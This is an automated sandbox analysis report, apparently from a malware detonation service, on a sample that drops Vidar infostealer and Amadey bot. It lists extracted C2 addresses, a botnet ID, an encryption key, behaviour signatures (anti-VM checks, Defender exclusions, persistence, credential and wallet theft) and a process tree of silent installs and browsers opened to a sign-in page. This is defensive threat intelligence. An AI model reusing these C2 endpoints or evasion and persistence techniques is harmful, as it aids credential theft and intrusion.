Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- max time kernel
88s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/02/2026, 09:27
General
- Target random.exe
- Size 6.8MB
- Sample260211-leyn8aes8e
- SHA256 be68f32481e1551531f9c2ae9322870aa30e48224fb0ad1f4468b04ec07374c0
Score
10/10
Malware Config
Extracted
Family
-
vidar
Version
-
15.6
Botnet
-
fc155c5bf8a148a93a2ba17de68393f0n
Campaign
-
rif0lm
C2
-
https://telegram.me/rif0lm
-
https://steamcommunity.com/profiles/76561198783900411
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Extracted
Family
-
amadey
Version
-
5.55
Botnet
-
fbf543
C2
-
http://94.154.35.25
Attributes
-
install_dir
96a319e745
-
install_file
Srxelqcif.exe
-
strings_key
f8bfac017914b836f3106c5bcd0878fe
-
url_paths
/di9ku38f/index.php
rc4.plain
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Detects Amadey x86-bit Payload 1 IoCs
- Detects Vidar Stealer 29 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
- NirSoft NirCmd 1 IoCs
NirCmd is a lightweight Windows command-line tool for automating system tasks
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 15 IoCs
- Sets service image path in registry 2 TTPs 2 IoCs
- Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Disables service(s) 3 TTPs
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Modifies file permissions 1 TTPs 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 6 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 28 IoCs
- Enumerates processes with tasklist 1 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 24 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 17 IoCs
- Drops file in Windows directory 18 IoCs
- Launches sc.exe 45 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 28 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 6 IoCs
- GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 5 IoCs
- Modifies data under HKEY_USERS 35 IoCs
- Modifies registry class 6 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 42 IoCs
- Suspicious use of SendNotifyMessage 32 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\random.exe"C:\Users\Admin\AppData\Local\Temp\random.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\svchostam.exe"C:\Users\Admin\AppData\Local\Temp\svchostam.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12005500271\aTNXbz0.msi" /quiet3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12005560271\YoyvvWi.msi" /quiet3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12018000101\f4f37346d8.exe"C:\Users\Admin\AppData\Local\Temp\12018000101\f4f37346d8.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffdf88bc728,0x7ffdf88bc734,0x7ffdf88bc7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,15603624477198527845,6285289472630385987,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2132 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,840994634131470442,3787398723353298004,262144 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2100 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2276,i,1761271903287411602,689663735816020080,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2720 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3180,i,801322586835342010,11561603119276868356,2097152 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3188 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,11270966005907053065,3837806515956810184,2097152 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3272 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4276,i,55263579804463626,12716037682491108599,2097152 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4296 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4676,i,7227320267787072610,6036377273852795433,2097152 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4692 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5460,i,16757208660472761743,3411971900697794038,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5396 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4260,i,5794855961650416688,287396329086219996,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5460 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5448,i,1030469405527236954,18399937146479070919,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3312 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3304,i,7706033445740747124,17970668109865331321,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5612 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,869062594970068202,1945520038810510155,524288 --field-trial-handle=2104,i,8371743930252567105,6668157316074456474,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3880 /prefetch:85⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffdf826c188,0x7ffdf826c194,0x7ffdf826c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2000,i,6634198174731439525,8737011215378803383,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1740,i,8540687083070681835,2919350403494756582,262144 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=2832 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,10006736104566019487,11859622467139715055,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3392,i,17902702427149361513,10296253931119189447,2097152 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3396,i,8196951981516831616,15741761103062496889,2097152 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4132,i,12900746237116477515,1164857326148455660,2097152 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4164,i,17846694984436706330,18142422474698114234,2097152 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5004,i,11666546122864667449,10190615520986698190,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5292,i,1418499005973773621,8083559662735326429,2097152 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,3073719488970623315,9914213436346599339,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,16913210579564262666,2770113904930272524,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,5187085044041673485,13702293076224474680,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,5187085044041673485,13702293076224474680,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3848,i,9380739599202915277,17079098538214185610,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4492,i,3633233152835294343,10950306806131750595,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,16774551368643156877,9189168765626227633,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,11903302927000490640,13086495076787614339,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,7623202231795938809,12415735152214178747,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6524,i,17016969852721436088,14846902078575725968,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3836,i,265985698797156303,3827217308129471630,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3920,i,7016948366476127875,5996969588464880992,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3112,i,4965479777906351395,13871241429220356513,524288 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5244,i,3870433205382511572,8301849908646091212,262144 --field-trial-handle=2824,i,10156191398679121794,3978329900135199765,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:25⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd5⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1968 -prefsLen 27099 -prefMapHandle 1972 -prefMapSize 270279 -ipcHandle 2060 -initialChannelId {30bc020d-be72-4208-8742-ebed23108606} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2456 -prefsLen 27135 -prefMapHandle 2460 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {6a80cf7a-7c41-42da-bad7-893c3bfc3813} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket6⤵
-
-
